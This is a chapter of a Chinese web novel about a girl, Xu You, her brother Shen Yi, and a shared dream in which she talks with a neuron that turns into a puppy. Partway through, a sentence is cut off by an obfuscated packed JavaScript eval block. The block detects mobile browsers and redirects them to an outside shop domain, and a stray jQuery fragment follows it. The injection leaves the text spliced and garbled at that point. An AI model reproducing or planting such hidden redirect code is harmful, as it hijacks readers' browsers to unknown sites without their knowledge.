还是晚了一步，许优刚打开相机，沈亦就发现她了。


    她只好将镜头慢慢上移，假装拍风景。


    “小优，你怎么在这里？”


    和梦里的台词一样，只是现在她一抬头就能看清来人的样子。


    女生比她高些，明眸皓齿，长得很白，眼睛闪烁着笑意，看起来很面善，女生在两人之间打量了一番。


    沈亦看她脸色有些沉，然后站到许优身边，朝女生介绍：“她是我妹妹，许优。”


    又朝许优说：“这位是我的……校友，陈年。”


    沈亦介绍许优时非常从容，介绍陈年时却有些遮掩，甚至还脸红地看了一眼陈年。


    许优不动声色地打量，心里却浮现一个猜测：他们什么情况？真在一起了？沈亦在她面前总是脸不红心不跳管着她，从没见过他这样子。


    心里猜测他们在一起，跟现实生活见到是很不一样的，许优毕竟还是没有城府的学生，再怎么隐藏的心思也会从脸上露出来。


    许优表情淡淡的，点点头，算是问好。


    沈亦不知道许优心里的弯弯绕绕，但他对上许优冷漠的眼神，心里颤了一下。


    难道妹妹发现自己在说谎了？


    陈年看着这一幕，只觉得两人之间气氛不对，便礼貌打了声招呼，独自进了地铁。


    “你怎么在这？”见陈年走了，沈亦看了她背影一眼，转头就问许优。


    比起外人，他更好奇为什么妹妹会在自己公司附近。


    许优转头就走。


    她就不该相信什么梦！许优一口气出不来，气呼呼地甩开某人，往地铁站反方向走去。说不清是因为占有欲，还是因为赌气，反正暂时不想看见他，以免想起这几天的纠结，感觉很可笑。


    许优逆流而行。


    沈亦也跟在她身后一起逆着人群，抓住她的手问：“你要去哪儿？”


    许优想甩开，可沈亦用了几分巧劲，她挣脱不开。


    “关你什么事，我去吃个冰淇淋不行啊？”


    沈亦怔然，那边确实有个麦当劳。


    “可以——”下班的人潮很多，两人只能贴着人行道逆行，知道目的地，沈亦反手把许优护在身后，在前面给她开路，“跟着我，这里我熟。”


    许优愣了一下，显然意识到了沈亦话语里的破绽。


    沈亦熟悉这儿？


    她以为撞见两人约会，但沈亦背了一个背包，看起来重量还不小，如果是约会的话，确实不应该这个打扮。


    而且陈年也不会见到她就走……


    她从后面看着沈亦，眼神晦涩不明。


    “还是要甜筒？”


    沈亦带她拐进一条胡同，这里人少，哪怕小道也走得比刚才宽敞。


    许优想了想，道：“……行。”


    绿树林荫，郁郁葱葱，许优本是不想跟沈亦一起走找借口离开，但刚骑车出了点汗，渗在背上和腋下，她现在也有点儿想吃冰淇淋了。


    找了个位置坐下，沈亦不一会就拿了个甜筒过来。


    他瞥了眼旁边，坐到许优对面，递给她甜筒后欲言又止。


    许优连眼神都不想分给他。


    沈亦看了会，拿出手机敲敲打打。


    她也拿出手机，她要编辑这周的课表，把试课成功的学生用不同颜色标注，便于自己分类和记忆，许优没有拖延的习惯。


    因为单手吃东西不方便，所以她把手机放在桌上操作。


    沈亦看着她屏幕念了出来：“课程表——周一，红色蓝色黄色，周二……诶，我还没看完。”


    “谁说要给你看！”


    “你要去哪儿，我陪你一起呗。”沈亦说。


    许优转了转眼珠，笑道：“你不是忙着呢吗？”


    他平时一有空就出门，如果不是谈恋爱出去约会，需要早出晚归的活动还能是什么？还编出个理由骗爸妈。


    沈亦扶额：“诶哟我的祖宗，怎么还揪着这个不放呢啊？你要去补课我得接你回家。”


    果然，他在背着她偷偷上班，许优默默想。


    需要早出晚归，长期坚持的，不是上班，还能是什么？恋爱她也不是没考虑过，但是有那么多话要聊吗？沈亦不是话多的人。


    可沈亦没必要瞒着她，也没必要瞒着爸妈。沈亦下学期大三，也该找实习工作了。


    所以，那个原因是什么？


    许优都猜到沈亦如果有空，势必要陪着她一起补课，“不劳烦您大驾光临，我自己可以自己回家的。”许优拒绝。


    许优心里有了答案。


    沈亦直勾勾的盯着她，脸上少了笑意：“……真的吗？那、那我就不来接你了。”


    许优：……


    “行啊，当然可以。”她笑道。


    “那、那就不来了。”眼里没有光了。


    许优：“可以的。”


    沈亦：“……”


    他盯着桌面，扬起笑的弧度，却又叹了口气，眉毛也耷拉下去，像是一条被遗弃的小狗。


    “我想了想，晚上天黑我走夜路有点怕，你还是来接我吧。”许优说。


    还是不逗他了，看起来很可怜。


    那天晚上，沈亦买了一个八种口味的千层蛋糕，妈妈还以为家里有人过生日。


    *


    是夜，忙了一天，许优早早入睡。


    迷糊中浮浮沉沉，意识好像被带到一个陌生的地方。


    “你怎么还在睡？该你上场了知不知道！”混乱中有人推搡她，许优睁开眼。


    许优下意识去摸床头找手机，看看现在是几点。


    然而她没摸到软乎乎的床垫和木质床头柜，她立刻翻身查看，瞌睡虫都被吓跑了一半，这哪里是家里！许优环顾四周，发现自己居然大大咧咧就躺大马路上。


    而且这布局还有点熟悉，这里分明是……


    沈亦的大学！


    记得去那里是在她高一刚考完期末考时，听说哥哥估分挺高，对比往年分数线和难度后，肯定可以上TOP2。


    刚出校门，就看见来接她的沈氏夫妇和沈亦。


    “小优！这儿！”徐莲薏坐在副驾朝她招呼。


    许优拖着一个行李箱，上面放了个布袋，里面装的是她的洗漱用品，慢吞吞地往那辆白色奔驰走去。


    一个白色身影朝她跑来，沈亦比她高半个头，白色衬衫很薄，在六月份闷热的天气，腹肌在某个角度若隐若现，沈亦有常年运动的习惯。


    许优愣在原地，眨眼间手上的东西都被拿走了。


    “饿了吗？待会儿想吃什么？”沈亦一手扣着行李箱和布袋，一手空在她身前，示意她把书包也给他拿。


    没等到书包，沈亦手上挨了一掌，不疼。


    “哥，你怎么也来了？”


    沈亦比她早考完，半个月前就放假了，平时家里一个人来接她就够了，怎么这次一家人都坐在车上？


    许优有点懵，难不成……他们准备好要把她遗弃掉？这是最后的晚餐？


    坐到后排，许优还是觉得有点不真实。


    “小亦，好了吗？需不需要帮忙？”徐莲薏问。


    “不用，妈，已经好了。”沈亦打开车门，长腿迈进后座，许优闻到他身上好闻的柑橘香，许优首先移开视线。


    后来呢？沈家没把她丢掉，而是帮她把行李放回家后，四人做高铁去了首都玩了三天，参观了Q大。


    许优看向四周——这里跟Q大不能说毫不相干，只能说是一摸一样。


    “你说老大今天演什么？新地图吗……”


    许优听到一个声音，她环顾四周，却没看到人。


    “老大能听到我的声音？！……我在里面！闭上眼睛就能感受到我。”


    那个声音又响起，许优惊讶地捂住嘴，这会她听的真真切切。


    “嘿嘿～没吓到老大吧。”


    是自己的心声吗？……话说自己怎么在Q大，她来这儿干嘛的？


    她爬起来边走边看，路上的行人神色匆匆，奇怪的是，有时候她感觉看得不真切。


    有些人的脸是模糊的——


    许优揉揉眼睛，没有任何变化。


    “老大老大～听得到我的声音吗？你大概不认识我，我是7323号神经元记得好，是人类世界的……应该是海马体区域吧？是吗？我也不太懂哈哈，不过晚上偶尔会跨部门合作演出哦，我很喜欢……”


    头好痛……做事情的时候脑子里还有个东西还在说话，真想把它倒出来。


    许优叹了口气。


    她站起来，往男生宿舍走去，摸了摸身上，居然没带手机。


    它毫不在意，继续说：“关于我为什么能跟老大说话，我想了想，觉得可能是因为空间波动！换句话说，就是联入了他人梦境，然后……然后就发现能跟老大说话了……不过好像也没什么联系……”


    许优：“……”


    她意识终于清明些，抓着某个字眼问：“等等，你……你叫什么来着？”


    它老老实实回答：“我是海马体第7323号神经元哦，别元都叫我记得好，主人可以叫我好好，因为我很喜欢看主人的回忆！我总是看！”


    “好的7323。”


    “我叫好好。”记得好反驳。


    “好的，好好。”还是顺着它吧，看起来它有自己的喜好。“你说，我们现在在别人的梦境里？”


    “嗯嗯，推测别人也在我们梦境里，我们做的是同一个梦，用人类社会的方式解释……嗯……应该叫共梦？”


    许优沉默，接着又问了一个问题。


    “你怎么知道我们跟别人共梦？如果你知道，是不是说明别人也有可能知道？”


    那个声音好像被问住了，支支吾吾说：“当然是因为……我很熟悉你的记忆啊，但这里好多画面都很奇怪。比如这里的建筑都很奇怪……说不上哪里奇怪，就是感觉样子完全变了。”


    “还有一个原因可能是……我不知道这样说对不对？梦里会出现的事情，一般是现实世界在我们心中的记忆，所以最直观的就是梦中出现场景的布置。主人你觉得，这个路线是不是有点怪？”


    许优看看周围出现的线路，场景确实很陌生，她去Q大时没做什么攻略，就是随


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641506|156458||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意走走，绝对不会走到这种偏僻的地方。然后她发现，哪怕她主动往人多的地方走，也会不知不觉之间回到原来的位置。


    好像无意中闯入了一个副本，除非通关，否则就会一直处于循环。


    还真是梦境。


    “老大，现在咱们怎么办？”


    记得好非常仰慕许优，它觉得许优在它心里就是万中无一的主人。


    许优转身走进了旁边的便利店。


    “嗯？！怎么走进了便利店。”


    因为记得好参与梦境的方式只能依靠许优，所以当眼前画面从小道变成了门时，它忍不住惊叫。平时它的主人不都该带它冒险或是破案吗？这差距未免太大，记得好一时间接受不了。


    便利店香气四溢，展列台上摆满了熟食，看样子这些东西刚准备好，闻起来很香。


    做梦也能这么真实吗？脑子里记得好咕叽乱叫的声音也止住了，许优心情更加好。


    回想起平时做梦时，她要么在怪物丛林厮杀，要么就是逃亡，没想到在别人的梦境这么舒服。作为一个npc，许优咸鱼得心安理得。


    记得好气急：“老大，不要再吃了！我们不是应该拯救世界、打怪升级吗？”


    许优嫌弃：“谁说的。”


    便利店没有店员，店里的美食像是凭空变出来似的。


    许优自力更生拿了两个大鸡腿、一个鸡蛋灌饼和一盆关东煮，就在店里吃了起来。


    “要吃吗？”许优指了指面前五花八门的食物。


    记得好：“……”谢邀，不是很想。


    作为许优的一部分，许优吃什么它就补充什么，对于食物它早就看淡，存在喜好对于无法选择的细胞才是一种折磨。


    反正是做梦，吃再多也不会变胖，许优吃得心安理得、优哉游哉。


    “老大，别吃了，我们出去玩会吧……”记得好声音听起来很沮丧，像主人不让出去玩的小狗。


    她没养过宠物，也没想过养。自己都久居人下，怎么有心思养宠物。


    她看过很多养狗人发的视频，对于提到“出去玩”这个字眼，狗狗就会很开心，做出很可爱的举动，她有些好奇记得好会不会这样。


    她试探地说：“出去玩。”


    记得好雀跃回应：“好！”


    许优：“不出去玩。”


    记得好坚定回复:“出去玩。”


    许优：……


    她觉得挺有意思，居然在梦里养了只不知道是什么的小宠物。


    要是能看到记得好的实体就好了，感觉它像是只毛茸茸的小狗，无聊时还能摸摸它。


    啪——


    一团毛凭空出现，踩在了它的饭团上。


    许优揉了揉眼睛，确定自己没看错，眼前出现了一只很小的白色小狗，跟自己刚才想的样子一模一样。


    她突然有些明白了，为什么会出现便利店了。


    既然是共梦，那就意味着无论是和谁共梦，场景都是相互形成的。她入睡前太晚就吃了点面包，身体太饿了就有了便利店，哪怕学校场景是另外一人影响的造物，她也有变化出自己想要东西的能力。


    在梦里，她能做到一切。


    “老大，你怎么在我前面了？”记得好一转眼，发现它的视野变了。正奇怪呢，就发现许优的表情从高兴慢慢转为郁闷，一张嘴它居然发出了人的声音。


    记得好下意识看向许优，只看见许优摁着太阳穴，眉头紧皱。


    它不太清楚现在的状况，一直以来它作为内部细胞，只能通过许优的视野接受一切，无论是视觉、味觉、听觉，感受的都是许优选择的。


    第一次独自操纵巨大的身体，记得好不太熟练，眼瞧着就要往前摔——


    砰——


    一只大手精准地扶住它，还往后推了一肘距离。


    是主人的味道！记得好感觉后背有股神秘力量，驱使着尾椎骨动来动去。


    “主人！你没事吧。”记得好看许优脸色越来越难看，它关切询问：“想吐？吃太饱撑到了？”


    许优叹了口气，她不是吃撑，而是惆怅。明明脑子里会说话的怪东西消失了，又变出一条可爱小狗挺让人开心的，但从小接受社会主义、建国后不允许成精思想，许优实在接受不了狗说人话这一点。


    怎么看都很诡异啊！


    而且它变化成实体后，许优直到共梦结束还要照看好它了。不然它乱跑到另外的共梦人那儿引起注意，岂不是增加被发现的风险。


    共梦是很好，在这里想干什么就能干什么，说不定还能在这里学习。不过世界上并没有免费的午餐，共梦的坏处还没被她发现。


    要不把它变回去好了……


    然而，接下来怎么试怎么想，许优都无法把它变回去。难道还有什么触发条件？或是变出来的东西不可逆之类的？


    如果另一个共梦人也发现许优的存在呢？能不能通过梦境获取她的信息？会对她有什么影响？那个人是男是女？是好是坏？为什么能跟她共梦？


    更坏的，许优想那个人能不能通过共梦杀掉她？


    许优皱眉。